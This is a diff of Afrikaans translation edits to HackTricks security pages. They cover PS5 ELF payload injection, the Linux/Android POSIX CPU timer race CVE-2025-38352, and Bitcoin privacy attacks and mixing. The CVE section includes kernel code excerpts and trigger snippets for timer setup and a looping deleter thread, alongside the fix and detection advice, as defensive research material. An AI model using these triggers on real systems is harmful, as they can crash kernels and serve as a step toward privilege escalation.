+```
+Hello-world payload voorbeeld (skryf na klog):
+```c
+#include <stdio.h>
+#include <unistd.h>
+#include <ps5/klog.h>
+int main(){
+klog_printf("Hello from PID %d\n", getpid());
+return 0;
+}
+```
+## Praktiese oorwegings
+
+- Offsets en konstantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) is firmware-spesifiek en moet per vrystelling opgedateer word.
+- Hypervisor-beskermings dwing data-only kernel-skrifte af; moenie probeer om CR0.WP of CR4.SMEP te patch nie.
+- JIT memory is 'n alternatief: sommige prosesse openbaar PS5 JIT APIs om uitvoerbare bladsye toe te ken. Die vm_map protection flip verwyder die behoefte om op JIT/mirroring truuks staat te maak.
+- Hou register save/restore robuust; by mislukking kan jy 'n deadlock of crash van die target veroorsaak.
+
+## Publieke gereedskap
+
+- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
+- ELF loader: https://github.com/ps5-payload-dev/elfldr
+- Injector server: https://github.com/buzzer-re/NineS/
+- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
+- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
+
+## References
+
+- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
+- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
+- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
+- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
+- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
+- [Mira](https://github.com/OpenOrbis/mira-project)
+- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
+- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
+
+{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -1,19 +1,19 @@
-# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+# POSIX CPU Timers TOCTOU wedloop (CVE-2025-38352)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
-Hierdie bladsy dokumenteer 'n TOCTOU race condition in Linux/Android POSIX CPU timers wat timer-status kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word.
+Hierdie bladsy dokumenteer 'n TOCTOU-wedlooptoestand in Linux/Android POSIX CPU timers wat timer state kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word.
 
 - Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
-- Primitiief: expiry vs deletion race onder task exit
+- Primitive: expiry vs deletion race under task exit
 - Konfigurasie-sensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
 
-Kort interne oorsig (relevant vir exploitation)
+Vinnige interne samevatting (relevant vir exploitation)
-- Drie CPU-klokke dryf die boekhouding vir timers via cpu_clock_sample():
+- Drie CPU-klokke bestuur accounting vir timers via cpu_clock_sample():
 - CPUCLOCK_PROF: utime + stime
 - CPUCLOCK_VIRT: utime only
 - CPUCLOCK_SCHED: task_sched_runtime()
-- Timer-creation verbind 'n timer aan 'n task/pid en initialiseer die timerqueue nodes:
+- Die skep van 'n timer verbind die timer aan 'n taak/pid en initialiseer die timerqueue nodes:
 ```c
 static int posix_cpu_timer_create(struct k_itimer *new_timer) {
 struct pid *pid;
@@ -27,7 +27,7 @@ rcu_read_unlock();
 return 0;
 }
 ```
-- Aktivering plaas inskrywings in 'n per-base timerqueue en kan die next-expiry cache bywerk:
+- Arming voeg items in 'n per-base timerqueue in en kan die next-expiry cache bywerk:
 ```c
 static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
 struct posix_cputimer_base *base = timer_base(timer, p);
@@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
 if (newexp < base->nextevt) base->nextevt = newexp;
 }
 ```
-- Vinnige pad vermy duur verwerking tensy gekashe vervaltye moontlike afvuur aandui:
+- Fast path vermy duur verwerking tensy gecachede vervaltye aandui dat 'n afvuur moontlik is:
 ```c
 static inline bool fastpath_timer_check(struct task_struct *tsk) {
 struct posix_cputimers *pct = &tsk->posix_cputimers;
@@ -50,7 +50,7 @@ return true;
 return false;
 }
 ```
-- Verstryking versamel verstrykte timers, merk hulle as afgevuur, skuif hulle van die tou af; werklike aflewering word uitgestel:
+- Verstryking versamel vervalde timers, merk hulle as afgevuur, verwyder hulle uit die wagry; werklike lewering word uitgestel:
 ```c
 #define MAX_COLLECTED 20
 static u64 collect_timerqueue(struct timerqueue_head *head,
@@ -68,9 +68,9 @@ list_add_tail(&ctmr->elist, firing);
 return U64_MAX;
 }
 ```
-Twee modusse vir die hantering van verval
+Twee vervalverwerkingsmodusse
-- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: die verval word uitgestel via task_work op die teiken-taak
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word uitgestel via task_work op die teiken-taak
-- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: die verval word direk in die IRQ-konteks hanteer
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in die IRQ-konteks hanteer
 ```c
 void run_posix_cpu_timers(void) {
 struct task_struct *tsk = current;
@@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
 }
 #endif
 ```
-In die IRQ-context path word die firing list buite die sighand verwerk.
+In die IRQ-context path word die firing list buite sighand verwerk.
 ```c
 static void handle_posix_cpu_timers(struct task_struct *tsk) {
 struct k_itimer *timer, *next; unsigned long flags, start;
@@ -114,44 +114,44 @@ spin_unlock(&timer->it_lock);
 }
 }
 ```
-Root cause: TOCTOU tussen IRQ-time verstryking en gelyktydige verwydering tydens task exit
+Primêre oorsaak: TOCTOU tussen IRQ-tyd verstryking en gelyktydige verwydering tydens taak-afsluiting
-Preconditions
+Voorvereistes
-- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ-pad in gebruik)
-- Die teiken taak is aan die uitstap maar nog nie volledig opgeraap nie
+- Die teiken-taak gaan verlaat maar is nog nie volledig opgeraap nie
-- Nog 'n thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer
+- 'n Ander draad roep terselfdertyd posix_cpu_timer_del() vir dieselfde timer aan
 
-Sequence
+Volgorde
-1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ context vir die uitgaande taak.
+1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ-konteks vir die uitgaande taak.
-2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
+2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing-lys.
-3) handle_posix_cpu_timers() laat die sighand los via unlock_task_sighand() om timers buite die lock te lewer.
+3) handle_posix_cpu_timers() laat die sighand los via unlock_task_sighand() om timers buite die lock af te lewer.
-4) Onmiddellik na die unlock kan die uitgaande taak opgeraap word; 'n suster-thread voer posix_cpu_timer_del() uit.
+4) Onmiddellik na unlock kan die uitgaande taak opgeraap word; 'n sibligdraad voer posix_cpu_timer_del() uit.
-5) In hierdie venster kan posix_cpu_timer_del() dalk misluk om state via cpu_timer_task_rcu()/lock_task_sighand() te verkry en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, wat state korrup maak terwyl verstryking hanteer word, wat tot crashes/UB lei.
+5) In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en sodoende die normale in-flight guard wat timer->it.cpu.firing kontroleer, oorslaan. Verwydering gaan voort asof dit nie firing is nie, korrupteer state terwyl verstryking hanteer word, wat tot crashes/UB lei.
 
-Why TASK_WORK mode is safe by design
+Waarom TASK_WORK-modus per ontwerp veilig is
-- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-time oorvleueling met opraaiproses gebeur nie.
+- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work hardloop voor exit_notify, dus die IRQ-tyd oorkruising met reaping gebeur nie.
-- Selfs dan, as die taak reeds aan die uitstap is, faal task_work_add(); gating op exit_state maak beide modi konsekwent.
+- Selfs dan, as die taak reeds besig is om te verlaat, misluk task_work_add(); gating op exit_state maak beide modusse konsekwent.
 
-Fix (Android common kernel) and rationale
+Oplossing (Android common kernel) en motivering
-- Voeg 'n vroeë return by indien die current task aan die uitstap is, en gate alle verwerking:
+- Voeg 'n vroeë terugkeer by as die huidige taak besig is om te verlaat, wat alle verwerking afskerm:
 ```c
 // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
 if (tsk->exit_state)
 return;
 ```
-- Dit verhoed dat handle_posix_cpu_timers() vir take wat op die punt staan om te verlaat betree word, en elimineer die venster waarin posix_cpu_timer_del() it.cpu.firing kon mis en met expiry-verwerking kon meeding.
+- Dit verhoed dat handle_posix_cpu_timers() vir uitgaande take betree word, en verwyder daarmee die venster waar posix_cpu_timer_del() it.cpu.firing kan mis en met expiry-verwerking kan meeding.
 
 Impak
-- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
+- Kerngeheuebeskadiging van timerstrukture tydens gelyktydige expiry/verwydering kan onmiddellike ineenstortings (DoS) veroorsaak en is 'n sterk primiti ef vir privilege escalation weens geleenthede om arbitrêre kernel-state te manipuleer.
 
-Triggering the bug (safe, reproducible conditions)
+Die fout in werking stel (veilige, reproduseerbare toestande)
 Build/config
-- Verseker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix.
+- Maak seker dat CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gestel is en gebruik 'n kernel sonder die exit_state gating-fix.
 
-Runtime strategy
+Runtime-strategie
-- Rig op 'n thread wat op die punt staan om te verlaat en heg 'n CPU timer daaraan vas (per-thread or process-wide clock):
+- Rig op 'n thread wat op die punt staan om te verlaat en heg 'n CPU-timer daaraan (per-thread of process-wide clock):
 - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
 - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
-- Stel dit in met 'n baie kort aanvanklike expiration en 'n klein interval om IRQ-path entries te maksimeer:
+- Wapen dit met 'n baie kort aanvanklike verval en 'n klein interval om IRQ-path entries te maksimeer:
 ```c
 static timer_t t;
 static void setup_cpu_timer(void) {
@@ -165,31 +165,31 @@ its.it_interval.tv_nsec = 1;        // re-fire
 if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
 }
 ```
-- Van 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit:
+- Vanaf 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread uitstap:
 ```c
 void *deleter(void *arg) {
 for (;;) (void)timer_delete(t);     // hammer delete in a loop
 }
 ```
-- Wedloop-versterkers: hoë scheduler-tiktempo, hoë CPU-lading, herhaalde thread-afsluiting/hernuwingsiklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() die afvuur nie opmerk nie weens 'n mislukte taak-opsoek/locking direk ná unlock_task_sighand().
+- Wedloopversterkers: hoë scheduler-tikfrekwensie, CPU-lading, herhaalde thread exit/re-create-siklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() versuim om firing op te merk weens mislukte taak-opsoek/sloting net ná unlock_task_sighand().
 
 Detection and hardening
-- Mitigasie: pas die exit_state-bewaker toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK in te skakel waar moontlik.
+- Mitigering: pas die exit_state guard toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK te aktiveer waar moontlik.
-- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); let op timerqueue-inkonsekwenthede rondom taak-afsluiting.
+- Waarneembaarheid: voeg tracepoints/WARN_ONCE by unlock_task_sighand()/posix_cpu_timer_del(); verwittig wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); hou dop vir timerqueue-ongereenhede rondom taakuitgang.
 
 Audit hotspots (for reviewers)
 - update_process_times() → run_posix_cpu_timers() (IRQ)
 - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
 - collect_timerqueue(): sets ctmr->firing and moves nodes
-- handle_posix_cpu_timers(): drops sighand before firing loop
+- handle_posix_cpu_timers(): verwyder sighand voor die firing-lus
-- posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug verstryking te detecteer; hierdie kontrole word oorgeslaan wanneer taak-opsoek/lock misluk tydens exit/reap
+- posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug expiry te detecteer; hierdie kontrole word oorgeslaan wanneer taak-opsoek/lock misluk tydens exit/reap
 
 Notes for exploitation research
-- Die geopenbaarde gedrag is 'n betroubare kernel crash-primitive; om dit in privilege escalation te omskep benodig tipies 'n bykomende beheerbare oorvleueling (object lifetime of write-what-where invloed) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabilisend en voer dit slegs in emulators/VMs uit.
+- Die bekendgemaakte gedrag is 'n betroubare kernel crash primitive; om dit in privilege escalation te omskep benodig gewoonlik 'n bykomende beheerbare oorlapping (object lifetime of write-what-where-invloed) wat buite die bestek van hierdie opsomming val. Behandel enige PoC as potensieel destabiliserend en hardloop dit slegs in emulators/VMs.
 
-## References
+## Verwysings
 - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
 - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
 - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/blockchain/blockchain-and-crypto-currencies/README.md

@@ -4,173 +4,181 @@
 
 ## Basiese Konsepte
 
-- **Smart Contracts** word gedefinieer as programme wat op 'n blockchain uitgevoer word wanneer sekere voorwaardes vervul is, en outomatiseer die uitvoering van ooreenkomste sonder tussengangers.
+- **Smartkontrakte** word gedefinieer as programme wat op 'n blockchain uitgevoer word wanneer sekere voorwaardes vervul is, wat die uitvoering van ooreenkomste outomatiseer sonder tussengangers.
-- **Gedecentraliseerde toepassings (dApps)** bou op Smart Contracts voort en het 'n gebruikersvriendelike front-end en 'n deursigtige, ouditbare back-end.
+- **Gedesentraliseerde toepassings (dApps)** bou voort op smartkontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, ouditbare back-end.
-- **Tokens & Coins** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
+- **Tokens & Coins** onderskei deurdat coins as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
 - **Utility Tokens** gee toegang tot dienste, en **Security Tokens** dui eienaarskap van bates aan.
-- **DeFi** staan vir Decentralized Finance en bied finansiële dienste sonder sentrale owerhede.
+- **DeFi** staan vir Gedesentraliseerde Finansies en bied finansiële dienste sonder sentrale owerhede.
-- **DEX** en **DAOs** verwys onderskeidelik na Decentralized Exchange Platforms en Decentralized Autonomous Organizations.
+- **DEX** en **DAOs** verwys onderskeidelik na Desentraliseerde Wisselplatforms en Desentraliseerde Autonome Organisasies.
 
 ## Konsensusmeganismes
 
-Konsensusmeganismes verseker veilige en ooreengekome transaksiebevestigings op die blockchain:
+Konsensusmeganismes verseker veilige en ooreengekome transaksiebevestiging op die blockchain:
 
-- **Proof of Work (PoW)** berus op rekenaarkrag vir transaksieverifiëring.
+- **Proof of Work (PoW)** berus op rekenaarkrag vir transaksieverifikasie.
-- **Proof of Stake (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik verminder in vergelyking met PoW.
+- **Proof of Stake (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder.
 
-## Bitcoin Basiese Inligting
+## Bitcoin-basiskennis
 
 ### Transaksies
 
-Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan inisieer.
+Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word deur digitale handtekeninge geverifieer, wat verseker dat slegs die eienaar van die private sleutel oordragte kan inisieer.
 
-#### Sleutelelemente:
+#### Sleutelkomponente:
 
 - **Multisignature Transactions** vereis meerdere handtekeninge om 'n transaksie te magtig.
-- Transaksies bestaan uit **inputs** (bron van fondse), **outputs** (bestemming), **fees** (betaal aan miners), en **scripts** (transaksiereëls).
+- Transaksies bestaan uit **inputs** (bron van fondse), **outputs** (bestemming), **fees** (betaal aan miners), en **scripts** (transaksiewette).
 
 ### Lightning Network
 
-Strewe daarna om Bitcoin se skaalbaarheid te verbeter deur meerdere transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blockchain uit te saai.
+Het ten doel om Bitcoin se skaalbaarheid te verbeter deur meerdere transaksies binne 'n kanaal toe te laat en slegs die finale toestand na die blockchain uit te saai.
 
-## Bitcoin Privaatheidsake
+## Bitcoin-privaatheidskwessies
 
-Privaatheidsaanvalle, soos **Common Input Ownership** en **UTXO Change Address Detection**, benut transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksielinks tussen gebruikers te verberg.
+Privaatheidsaanvalle, soos **Common Input Ownership** en **UTXO Change Address Detection**, misbruik transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksiekoppeling tussen gebruikers te vervaag.
 
-## Anoniem Bitcoins Verkry
+## Bitcoins Anoniem Verkry
 
-Metodes sluit in kontanttransaksies, mynbou, en die gebruik van mixers. **CoinJoin** meng meerdere transaksies om spoorbaarheid te bemoeilik, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid.
+Metodes sluit kontanttransaksies, mynbou, en die gebruik van mixers in. **CoinJoin** meng meerdere transaksies om spoorbaarheid ingewikkelder te maak, terwyl **PayJoin** CoinJoins as gewone transaksies vermom vir verhoogde privaatheid.
 
-# Bitcoin Privaatheid Aanvalle
+# Bitcoin Privaatheidsaanvalle
 
-# Opsomming van Bitcoin Privaatheidsaanvalle
+# Opsomming van Bitcoin-privaatheidsaanvalle
 
-In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels ʼn bron van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin-privaatheid kan kompromitteer.
+In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers gereeld 'n bron van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin-privaatheid kan kompromitteer.
 
 ## **Common Input Ownership Assumption**
 
-Dit is gewoonlik skaars dat inputs van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus word **twee input-adresse in dieselfde transaksie dikwels aanvaar om aan dieselfde eienaar te behoort**.
+Dit kom gewoonlik selde voor dat inputs van verskillende gebruikers in een transaksie saamgevoeg word weens die kompleksiteit daarvan. Daarom word **twee inputadresse in dieselfde transaksie dikwels vereenselwig as die van dieselfde eienaar**.
 
 ## **UTXO Change Address Detection**
 
-'n UTXO, of **Unspent Transaction Output**, moet volledig in 'n transaksie bestee word. As net 'n deel daarvan aan 'n ander adres gestuur word, gaan die res na 'n nuwe change-adres. Waarnemers kan aanvaar dat hierdie nuwe adres aan die sender behoort, wat privaatheid in gevaar stel.
+'n UTXO, of **Unspent Transaction Output**, moet volledig bestee word in 'n transaksie. Indien slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die res na 'n nuwe veranderingsadres. Waarnemers kan aanvaar dat hierdie nuwe adres aan die sender behoort, wat privaatheid in gevaar stel.
 
 ### Voorbeeld
 
-Om dit te versag, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verberg.
+Om dit te versag, kan mengdienste of die gebruik van meerdere adresse help om eienaarskap te verberg.
 
 ## **Social Networks & Forums Exposure**
 
-Gebruikers deel soms hul Bitcoin-adresse aanlyn, wat dit **maklik maak om die adres aan die eienaar te koppel**.
+Gebruikers deel soms hul Bitcoin-adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
 
 ## **Transaction Graph Analysis**
 
-Transaksies kan as grafieke gesien word, wat potensiële verbindings tussen gebruikers toon gebaseer op die vloei van fondse.
+Transaksies kan as grafieke gevisualiseer word, wat potensiële verbindings tussen gebruikers toon gebaseer op die vloei van fondse.
 
 ## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
 
-Hierdie heuristiek is gebaseer op die ontleding van transaksies met veelvuldige inputs en outputs om te raai watter output die change is wat aan die sender terugkeer.
+Hierdie heuristiek is gebaseer op die ontleding van transaksies met meerdere inputs en outputs om te raai watter output die verandering is wat na die stuurder terugstuur.
 
 ### Voorbeeld
 ```bash
 2 btc --> 4 btc
 3 btc     1 btc
 ```
-As die byvoeging van meer inputs die change-uitset groter maak as enige enkele input, kan dit die heuristiek in die war bring.
+As die byvoeging van meer inputs die change-uitset groter maak as enige enkele input, kan dit die heuristiek in die war steek.
 
-## **Gedwonge hergebruik van adresse**
+## **Forced Address Reuse**
 
-Aanvallers kan klein bedrae stuur na voorheen gebruikte adresse, in die hoop dat die ontvanger dit met ander insette in toekomstige transaksies kombineer en sodoende adresse aan mekaar koppel.
+Aanvallers mag klein bedrae stuur na voorheen gebruikte adresse in die hoop dat die ontvanger hierdie met ander inputs in toekomstige transaksies kombineer en sodoende adresse aan mekaar koppel.
 
-### Korrekte wallet-gedrag
+### Korrekte Wallet-gedrag
 
-Wallets behoort te vermy om coins wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privacy leak te voorkom.
+Wallets moet vermy om munte wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privaatheids leak te voorkom.
 
-## **Andere Blockchain-ontledingstegnieke**
+## **Other Blockchain Analysis Techniques**
 
-- **Exact Payment Amounts:** Transaksies sonder change is waarskynlik tussen twee adresse wat deur dieselfde gebruiker besit word.
+- **Exact Payment Amounts:** Transaksies sonder change is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort.
-- **Round Numbers:** 'n Rond getal in 'n transaksie dui daarop dat dit 'n betaling is, met die nie-rond uitset wat waarskynlik die wissel is.
+- **Round Numbers:** 'n Ronde getal in 'n transaksie dui daarop dat dit 'n betaling is, met die nie-ronde uitset wat waarskynlik die change is.
-- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksie-skep patrone, wat ontleders toelaat om die sagteware te identifiseer wat gebruik is en moontlik die change-adres.
+- **Wallet Fingerprinting:** Verskillende wallets het unieke patrone vir transaksieskepping, wat analiste toelaat om die sagteware wat gebruik is te identifiseer en moontlik die change-adres.
-- **Amount & Timing Correlations:** Die openbaarmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak.
+- **Amount & Timing Correlations:** Die bekendmaking van transaksietye of bedrae kan transaksies naspeurbaar maak.
 
-## **Verkeersontleding**
+## **Traffic Analysis**
 
-Deur netwerkverkeer te monitor, kan aanvallers moontlik transaksies of blokkies aan IP addresses koppel en gebruikers se privaatheid kompromitteer. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
+Deur netwerkverkeer te monitor, kan aanvalle moontlik transaksies of blokke met IP-adresse verbind en gebruikers se privaatheid in gedrang bring. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
 
 ## Meer
 
-Vir 'n omvattende lys van privacy-aanvalle en verdedigings, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+Vir 'n omvattende lys van privaatheids-aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
 
 # Anonieme Bitcoin-transaksies
 
-## Maniere om Bitcoins Anoniem te Kry
+## Maniere om Bitcoins Anoniem te Verkry
 
-- **Kontanttransaksies**: Verkryging van bitcoin deur kontant.
+- **Kontanttransaksies**: Bitcoins deur kontant bekom.
-- **Kontantalternatiewe**: Aankoop van geskenkkaarte en ruil daarvan aanlyn vir bitcoin.
+- **Kontant-alternatiewe**: Koop geskenkkaarte en ruil dit aanlyn vir bitcoin.
-- **Mynbou**: Die privaatste metode om bitcoins te verdien is deur mynbou, veral as dit alleen gedoen word, want mining pools mag die miner se IP-adres ken. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **Mynbou**: Die mees privaatte metode om bitcoins te verdien is deur mynbou, veral solo, aangesien myngroepe dalk die miner se IP-adres ken. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie.
+- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander manier wees om dit anoniem te bekom, alhoewel dit onwettig is en nie aanbeveel word nie.
 
-## Mengdienste
+## Mixing Services
 
-Deur 'n mixing service te gebruik, kan 'n gebruiker bitcoins stuur en ander bitcoins in ruil ontvang, wat dit moeilik maak om die oorspronklike eienaar te spoor. Dit vereis egter vertroue in die diens om nie logs te hou nie en om die bitcoins werklik terug te stuur. Alternatiewe mengopsies sluit Bitcoin-casinos in.
+Deur 'n mixing service te gebruik, kan 'n gebruiker **bitcoins stuur** en **ander bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Dit vereis egter vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te gee. Alternatiewe mixing-opsies sluit Bitcoin-casinos in.
 
 ## CoinJoin
 
-CoinJoin meng meerdere transaksies van verskillende gebruikers in een, wat die proses bemoeilik vir enigiemand wat insette met uitsette wil koppel. Ondanks die doeltreffendheid daarvan, kan transaksies met unieke inset- en uitsetgroottes steeds potensieel opspoorbaar wees.
+CoinJoin saamsmelt verskeie transaksies van verskillende gebruikers in een, wat dit moeiliker maak vir enigiemand om inputs aan outputs te koppel. Ten spyte van die doeltreffendheid daarvan, kan transaksies met unieke input- en outputgroottes steeds moontlik opgespoor word.
 
-Voorbeeltransaksies wat moontlik CoinJoin gebruik het, sluit in `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit in `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
 
 Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies anonimiseer met fondse van miners.
 
 ## PayJoin
 
-'n Variant van CoinJoin, **PayJoin** (of P2EP), verdoesel die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitsette van CoinJoin. Dit maak dit uiters moeilik om te ontdek en kan die common-input-ownership heuristiek wat deur transaksiebewakingsentiteite gebruik word, ongeldig maak.
+'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n kliënt en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitsette van CoinJoin. Dit maak dit uiters moeilik om te bespeur en kan die common-input-ownership heuristic wat deur transaksiebewakingsentiteite gebruik word, ongeldig maak.
 ```plaintext
 2 btc --> 3 btc
 5 btc     4 btc
 ```
-Transaksies soos bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin-transaksies.
+Transaksies soos hierbo kan PayJoin wees, wat privaatheid verbeter terwyl dit onskeibaar bly van standaard bitcoin-transaksies.
 
-**Die gebruik van PayJoin kan tradisionele toesigmetodes beduidend ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksionele privaatheid.
+**Die gebruik van PayJoin kan tradisionele toesigmetodes aansienlik ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksionele privaatheid.
 
 # Beste praktyke vir privaatheid in kripto-geldeenhede
 
-## **Wallet-sinkroniseringstegnieke**
+## **Wallet Synchronization Techniques**
 
-Om privaatheid en sekuriteit te handhaaf, is dit belangrik om wallets met die blockchain te sinkroniseer. Twee metodes steek uit:
+Om privaatheid en sekuriteit te behou, is dit noodsaaklik om wallets met die blockchain te sinchroniseer. Twee metodes tree uit:
 
-- **Full node**: Deur die hele blockchain af te laai verseker 'n full node maksimum privaatheid. Alle ooit uitgevoerde transaksies word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te bepaal watter transaksies of adresse die gebruiker betref.
